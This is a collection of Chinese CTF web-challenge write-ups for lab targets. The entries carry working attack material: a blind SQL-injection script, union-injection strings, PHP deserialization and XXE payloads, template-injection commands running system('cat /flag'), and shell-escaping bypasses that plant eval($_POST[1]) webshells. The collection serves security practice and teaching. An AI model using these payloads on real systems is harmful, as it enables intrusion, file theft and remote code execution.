[CISCN2019 华北赛区 Day2 Web1]Hack World

fuzz发现空格,-等都被过滤,考虑布尔盲注,if判断为真返回1,查询id为1的数据:

import requests
import string

url = "http://b9309530-9abc-44a2-ace2-f39ae7be8858.node5.buuoj.cn:81/index.php"
chars = r"-{}" + string.ascii_lowercase + string.digits
flag = ""
for i in range(1,40):
    for c in chars:
        asciiValue = ord(c)
        payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))={asciiValue},1,0)"

        data = {"id":payload}
        resp = requests.post(url,data)

        if "girlfriend" in resp.text:
            flag += c
            print(f"flag ==> {flag}")
            break

flag{c1866cef-500f-403b-aec7-6d4d0898d8f3}


[BSidesCF 2020]Had a bad day

传参?category=meowers123会报错:

Warning: include(meowers123.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'meowers123.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

传参?category=meo123wers无报错,但回显如下:

Sorry, we currently only support woofers and meowers. 

猜测category中必须包含字符串woofers或meowers,先用伪协议+include规范化路径的特性获取index.php:

?category=php://filter/read=convert.base64-encode/resource=meowers123.php/../index

只看被解析的php代码部分:

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

没写flag在哪,猜测当前目录下存在flag.php

?category=php://filter/read=convert.base64-encode/resource=meowers123.php/../flag

flag.php:

<!-- Can you read this flag? -->
<?php
 // flag{7fb88bcc-8a31-4dc9-96fc-5bbfdbb2a705}
?>

[网鼎杯 2018]Fakebook

这题的环境好像有问题,注册一个账号,无法点击username进行跳转,服务器会崩溃

不过还好能发现view.php,不带参数访问view.php,报错:

Notice: Undefined index: no in /var/www/html/view.php on line 24

[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1)

Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

尝试联合注入,过滤了union和select之间的空格,用注释符绕过即可:

?no=-1 order by 5 --+
[*] query error! (Unknown column '5' in 'order clause')

?no=-1 union/**/select 1,2,3,4 --+
2的位置有回显

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() --+
users

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users" --+
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS 

?no=-1 union/**/select 1,passwd,3,4 from `users` --+
3627909a29c31381a071ec27f7c9ca97726182aed29a7ddd2e54353322cfb30abb9e3a6df2ac2c20fe23436311d678564d0c8d305930575f60e2d3d048184d79

?no=-1 union/**/select 1,data,3,4 from `users` --+
O:8:"UserInfo":3:{s:4:"name";s:7:"test123";s:3:"age";i:18;s:4:"blog";s:15:"www.test114.com";} 

没思路了,看了其他师傅的wp,有robots.txt:

User-agent: *
Disallow: /user.php.bak
<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

通过目录扫描得知存在flag.php,getBlogContents方法用于获取博客网站内容,将blog设为file:///var/www/html/flag.php即可获得flag.php源码

<?php
class UserInfo {
    public $name = "test";
    public $age = 18;
    public $blog = "file:///var/www/html/flag.php";
}

print(urlencode(serialize(new UserInfo())));
?>
O%3A8%3A%22UserInfo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22test%22%3Bs%3A3%3A%22age%22%3Bi%3A18%3Bs%3A4%3A%22blog%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D

结合view.php中总是有unserialize的报错:

Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31

猜测是union select 1,2,3,4中某个位置应该是序列化数据,结合2对应username,data又是序列化数据,所以尝试将反序列化内容填入4的位置:

?no=-1 union/**/select 1,2,3,'O%3A8%3A%22UserInfo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22test%22%3Bs%3A3%3A%22age%22%3Bi%3A18%3Bs%3A4%3A%22blog%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D' --+
<p>the contents of his/her blog</p>
    <hr>
    <iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tkZmY5NmI3Zi1iYzY3LTQ3MTctOTk4Ny02Nzg4MmU0YjE0ZTN9IjsNCmV4aXQoMCk7DQo='>

解码base64得到flag.php源码:

<?php

$flag = "flag{dff96b7f-bc67-4717-9987-67882e4b14e3}";
exit(0);

还有另一种方法,查看用户权限,发现是root:

?no=-1 union/**/select 1,user,3,4 from mysql.user --+

于是可以用load_file尝试读取文件:

?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4 --+

[网鼎杯 2020 朱雀组]phpweb

上来就有报错:

Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24
2025-07-17 07:02:47 am

查看网页源码,发现有两个隐藏的传参func和p,猜测一个是函数名还有一个是参数,尝试先读取index.php的内容:

?func=file_get_contents&p=index.php
...
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
...

反序列化绕过disable_fun对func的限制,不知道为什么无法执行eval,尝试直接执行system(“whoami”):

?func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A6%3A%22whoami%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

www-data www-data

find找到flag位置/tmp/flagoefiu4r93,再用cat读即可:flag{375cd5d4-9399-46b7-ab50-ab3ae8b4ab7a}


[BJDCTF2020]The mystery of ip

hint.php提示:Do you know why i know your ip?,试了试XFF,发现flag.php中的ip是通过XFF来获取拼接的,只想到了能XSS,可以通过标签指定language为PHP来rce:

<script language="php">phpinfo();</script>

但是没回显,查了资料发现这种方法在PHP 7+中已经被移除了,本题PHP版本为7.3.13,没思路了

看了wp说是smarty模板注入

{$smarty.version}  #获取smarty的版本号
Your IP is : 3.1.34-dev-7

{php}phpinfo();{/php}  #执行相应的php代码,但是Smarty3版本中已经废弃{php}标签,本题无法使用

{literal}alert('xss');{/literal}  #也是XSS,用来避免js被误解析

{if phpinfo()}{/if}  #Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等等
{if system('cat /flag')}{/if}
Your IP is : flag{f9a2b969-f4d4-4168-a4f5-137fb7f46b37}

[BJDCTF2020]ZJCTF,不过如此

?text=data:,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

next.php:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

preg_replace /e模式导致第二个参数可以被当作php语句执行,foreach的参数是$_GET,因此没必要传id

?.*=${phpinfo()};

拼接后:

preg_replace('(.*)/ei','strtolower("\\1")','phpinfo();');

但在php中当非法字符为首字母时,只有点号会被替换成下划线,所以换一个参数名即可,\S表示匹配所有非空白符:

?\S*=${phpinfo()};

在php中上面的payload等价于执行如下语句,花括号内为表达式,先执行表达式,再尝试访问$变量:

"${phpinfo()}";  // ${expr} (variable variables)

由于引号会被转义,所以只能调用getFlag(),最终payload:

?\S*=${getFlag()};&cmd=system('cat /flag');

flag{3ce52793-2870-4076-a120-b6931631542f}


[BUUCTF 2018]Online Tool

escapeshellarg和escapeshellcmd的联合使用 + 未将用户输入置于参数位

escapeshellarg会在单引号之前加上 \, 并在被转义的单引号两边和整个字符串两边加上单引号

escapeshellcmd会在所有的 \ 前加上 \,并在单独的单引号(未成对的)前加 \

尝试将命令的输出结果保存到文件中,这样可以实现写入一句话木马

一开始尝试了-oN,保存的文件内容中"\<?php".会导致php解析报错,无法拿shell:

# Nmap 7.70 scan initiated Sat Jul 19 00:48:27 2025 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oN aaa.php \<?php @eval($_POST[1]) ?> \\
Failed to resolve "\<?php".
Failed to resolve "eval($_POST[1])".
Failed to resolve "?>".
Failed to resolve "\\".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Sat Jul 19 00:48:27 2025 -- 0 IP addresses (0 hosts up) scanned in 0.05 seconds

后来尝试-oG (Grepable 格式),shell.php可以被解析

?host='<?php @eval($_POST[1]) ?> -oG shell.php '

escapeshellarg后:

''\''<?php @eval($_POST[1]) ?> -oG shell.php '\'''

escapeshellcmd后(没有单独的单引号):

''\\''<?php @eval($_POST[1]) ?> -oG shell.php '\\'''

完整的执行命令:

nmap -T5 -sT -Pn --host-timeout 2 -F \\<?php @eval($_POST[1]) ?> -oG shell.php \\

shell.php:

# Nmap 7.70 scan initiated Sat Jul 19 00:53:51 2025 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG shell.php \<?php @eval($_POST[1]) ?> \\
# Nmap done at Sat Jul 19 00:53:51 2025 -- 0 IP addresses (0 hosts up) scanned in 0.06 seconds

flag{a8339bf9-7e19-4606-9937-7b59a8e81acf}


[GXYCTF2019]禁止套娃

访问.git响应码403,.git源码泄露:

python GitHack.py http://287013c6-0b05-48bd-8df7-1b30898ed1a1.node5.buuoj.cn:81/.git/

index.php:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

只允许执行形如func()的函数,考虑无参rce,随机爆出flag.php:

?exp=var_dump(scandir(current(localeconv())));
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" } 

?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
<?php
$flag = "flag{49c2ad3e-a178-43b4-8abe-019245914871}";
?> 

看了其他师傅的wp,有稳定读出flag.php的方法:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

[NCTF2019]Fake XML cookbook

xxe,username回显:

<!DOCTYPE user [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><username>&xxe;</username><password>456</password></user>

payload:

<!DOCTYPE user [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>456</password></user>

flag{9ee04b17-fc13-4ff2-a6c1-44fc20929f0b}


[GWCTF 2019]我有一个数据库

直接访问得到乱码,其实是编码方式不统一导致的:

鎴戞湁涓€涓暟鎹簱锛屼絾閲岄潰浠€涔堜篃娌℃湁~
涓嶄俊浣犳壘

GBK->UTF-8
我有一个数据库,但里面什么也没有~
不信你找

robots.txt:

User-agent: *
Disallow: phpinfo.php

扫描发现有phpmyadmin,根据版本找找CVE:phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)

目录穿越:

?target=db_sql.php%253f/../../../../../../../../flag

flag{f1cd2c40-be69-4549-ba63-d563837319d0}


[BJDCTF2020]Mark loves cat

.git源码泄露:

index.php:

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

flag.php:

<?php

$flag = file_get_contents('/flag');

尝试传入?yds=flag,第二个foreach会执行$yds = $flag;,由于未传入flag参数,所以会执行exit($yds);输出flag:

flag{2c9108b6-b53e-4aae-a2ae-fba4fc401577}


[WUSTCTF2020]朴实无华

访问/fAke_f1agggg.php,header里有hint:

look_at_me:/fl4g.php

fl4g.php:

<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>

科学计数法+0e+${IFS}绕过:

?num=2019e1&md5=0e215962017&get_flag=tac${IFS}fll*

flag{49c90321-da30-42cb-90b6-f262f3e55eae}


[BJDCTF2020]Cookie is so stable

注入点为Cookie中的user,尝试设置user={{2*2}},flag.php页面回显4,确定是twig模板,相关文章

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

flag{413ac946-069a-4427-88fc-de20189c7b40}


[MRCTF2020]Ezpop

<?php
class Modifier {
    protected  $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$a = new Modifier();
$b = new Test();
$b->p = $a;
$c = new Show();
$c->str = $b;
$d = new Show();
$d->source = $c;
print(urlencode(serialize($d)));
?>

payload:

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

flag.php:

<?php
class Flag{
    private $flag= "flag{eee8f673-47ef-4f44-958d-17f89c32534b}";
}
echo "Help Me Find FLAG!";
?>

[MRCTF2020]PYWebsite

验证码校验是写在前端的:

<script>

    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
      
    }

  </script>

找个爆md5的网站,拿到验证码:ARandomString,不获取验证码直接访问flag.php也行

说是只有购买者和自己才能看到flag,xff伪造一下本地ip即可拿到flag

flag{68e4fd44-53c1-4aff-b8de-a6d00a360d67}


[安洵杯 2019]easy_web

img中的参数经过两次base64解码+hex得到555.png,考虑获取index.php:

?img=TXpVek5UTTFNbVUzTURabE5qYz0

index.php:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

md5绕过:

a=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&b=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

可以用strings或者sort读取/flag绕过过滤,

flag{1ca8c741-1ec0-4192-8af1-2d4cd7a962cf}


[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['\{\{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

只对单独的config和self置None,用__globals__来访问current_app,再获取config:

url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config

flag{0c4e9d3e-3ac6-425a-aa06-25b0a5830f08}


[安洵杯 2019]easy_serialize_php

index.php:

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

phpinfo中搜搜能找到d0g3_f1ag.php,base64编码:ZDBnM19mMWFnLnBocA==

由于sha1无法直接控制$_SESSION[‘img’],只能通过extract覆盖+字符逃逸的方式来控制img:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=A";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

d0g3_f1ag.php:

<?php

$flag = 'flag in /d0g3_fllllllag';

?>

最终payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=A";s:8:"function";s:4:"test";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

flag{b654c7a0-5923-47fc-b843-341cbb593eee}


[网鼎杯 2020 朱雀组]Nmap

fuzz一下,输入'127.0.0.1;',结果保存在/result.php?f=d9561:

Host maybe down

随便改一下参数f报错:

Warning: simplexml_load_file(): I/O warning : failed to load external entity "xml/d951" in /var/www/html/result.php on line 23
Wrong file name

再访问一下xml文档/xml/d9561,看看nmap结果具体写了什么进去:

<?xml version="1.0"?>
<!DOCTYPE nmaprun>
<?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text/xsl"?>
<!-- Nmap 6.47 scan initiated Mon Jul 21 04:22:13 2025 as: nmap -Pn -T4 -F -&#45;host-timeout 1000ms -oX xml/d9561 \\127.0.0.1;\\\\ -->
<nmaprun scanner="nmap" args="nmap -Pn -T4 -F -&#45;host-timeout 1000ms -oX xml/d9561 \\127.0.0.1;\\\\" start="1753071733" startstr="Mon Jul 21 04:22:13 2025" version="6.47" xmloutputversion="1.04">
<scaninfo type="connect" protocol="tcp" numservices="100" services="7,9,13,21-23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152-49157"/>
<verbose level="0"/>
<debugging level="0"/>
<runstats><finished time="1753071733" timestr="Mon Jul 21 04:22:13 2025" elapsed="0.10" summary="Nmap done at Mon Jul 21 04:22:13 2025; 0 IP addresses (0 hosts up) scanned in 0.10 seconds" exit="success"/><hosts up="0" down="0" total="0"/>
</runstats>
</nmaprun>

escapeshellarg+escapeshellcmd+参数可控,过滤了php,由于php版本为5.5.38,可以用短标签绕过或者短回显绕过:

<? PHP代码 ?>  需要在 php.ini 中启用 short_open_tag=On
<?= PHP代码 ?> 

payload:

'<?@eval($_POST[1])?> -oG shell.phtml '

flag{bf4f53bf-1122-4251-850f-a2aed2d00ac4}

还有一种绕过方式 ASP风格标签 <% PHP代码 %>,要求php版本小于7,但是本题asp_tags不为On


[NPUCTF2020]ReadlezPHP

time.php?source:

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]); 
<?php
class HelloPhp
{
    public $a = "phpinfo()";
    public $b = "assert";
}
print(urlencode(serialize(new HelloPhp())));
?>

flag在环境变量里:flag{66e902ae-7bf2-429a-bbbe-761cc9a02c94}


[ASIS 2019]Unicorn shop

什么参数都不填会返回报错/charge:

Traceback (most recent call last):
  File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1541, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "/app/sshop/views/Shop.py", line 34, in post
    unicodedata.numeric(price)
TypeError: need a single Unicode character as parameter

尝试输入不同参数发现,只能买4,并且价格只能是一个字符,利用unicodedata.numeric可以将有数字意义的unicode字符转为浮点数:

id=4&price=万

flag{82b310d7-44b3-466f-8897-55aa2c15c5f5}


[CISCN2019 华东南赛区]Web11

smarty模板注入,版本3.1.30:

X-forwarded-for: {if system('cat /flag')}{/if}

flag{533b1d69-7c4a-4921-9441-bc3159114614}


[BSidesCF 2019]Kookie

越权:

Cookie: username=admin

flag{669d21db-c083-4b61-a91b-e5a16bf3221a}


[SWPU2019]Web1

存在admin用户,随便注册一个test用户登录,发布广告存在XSS,广告详情是一个sql查询,应该是根据广告名进行的查询,单引号闭合发现报错,广告申请将# --注释符以及and or过滤,考虑直接闭合引号,一共22列:

-100'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

注入点在2和3的位置,先查数据库名和用户权限:

-100'/**/union/**/select/**/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
web1 root@localhost

尝试load_file,读取register.php,login.php,addads.php和detail.php

register.php:

<?php
include_once("./config.php");
error_reporting(0);

if(isset($_POST['ac'])){
	if($_POST['ac'] === 'register'){
		$username = htmlspecialchars(addslashes($_POST['username']));
		$password = md5($_POST['password']);
		// echo $username;
		// if(check($username)){
		// 	die("Oh No! You are a hacker!! Not here!!!<br>");
		// }
		// echo $username;
		$sql_query = "select * from users where name = '$username' limit 0,1";
		$sql_insert = "insert into users (name, pass) values ('$username','$password')";

		$result_query = $conn->query($sql_query);
		if($result_query->num_rows){
			die("<font color='red' size='4'>该用户已被注册</font>");
		}else{
			$result_insert = $conn->query($sql_insert);
			if($result_insert){
				header("Location: login.php");
				exit();
			}else{
				die("<font color='red' size='4'>注册失败</font>");
			}
		}
	}
}

$conn->close();
?>

login.php

<?php session_start();

include_once('./config.php');
error_reporting(0);

if(isset($_POST['ac'])){
	if($_POST['ac'] === 'login'){
		$user = htmlspecialchars(addslashes($_POST['username']));
		$pass = md5($_POST['password']);
		$sql = "select * from users where name = '$user' and pass = '$pass' limit 0,1";
		$result = $conn->query($sql);
		if($result->num_rows){
			$_SESSION['username'] = $user;
			$_SESSION['islogin'] = 1;
			$_SESSION['number'] = 0;
			header("Location: index.php");
			exit();
		}else{
			die("<font color='red' size='4'>登录失败</font>");
		}
	}
}

$conn->close();
?>

addads.php:

<?php
session_start();
if(!$_SESSION['islogin']){
	header("Location: login.php");
	exit();
}

include_once("./config.php");
error_reporting(0);

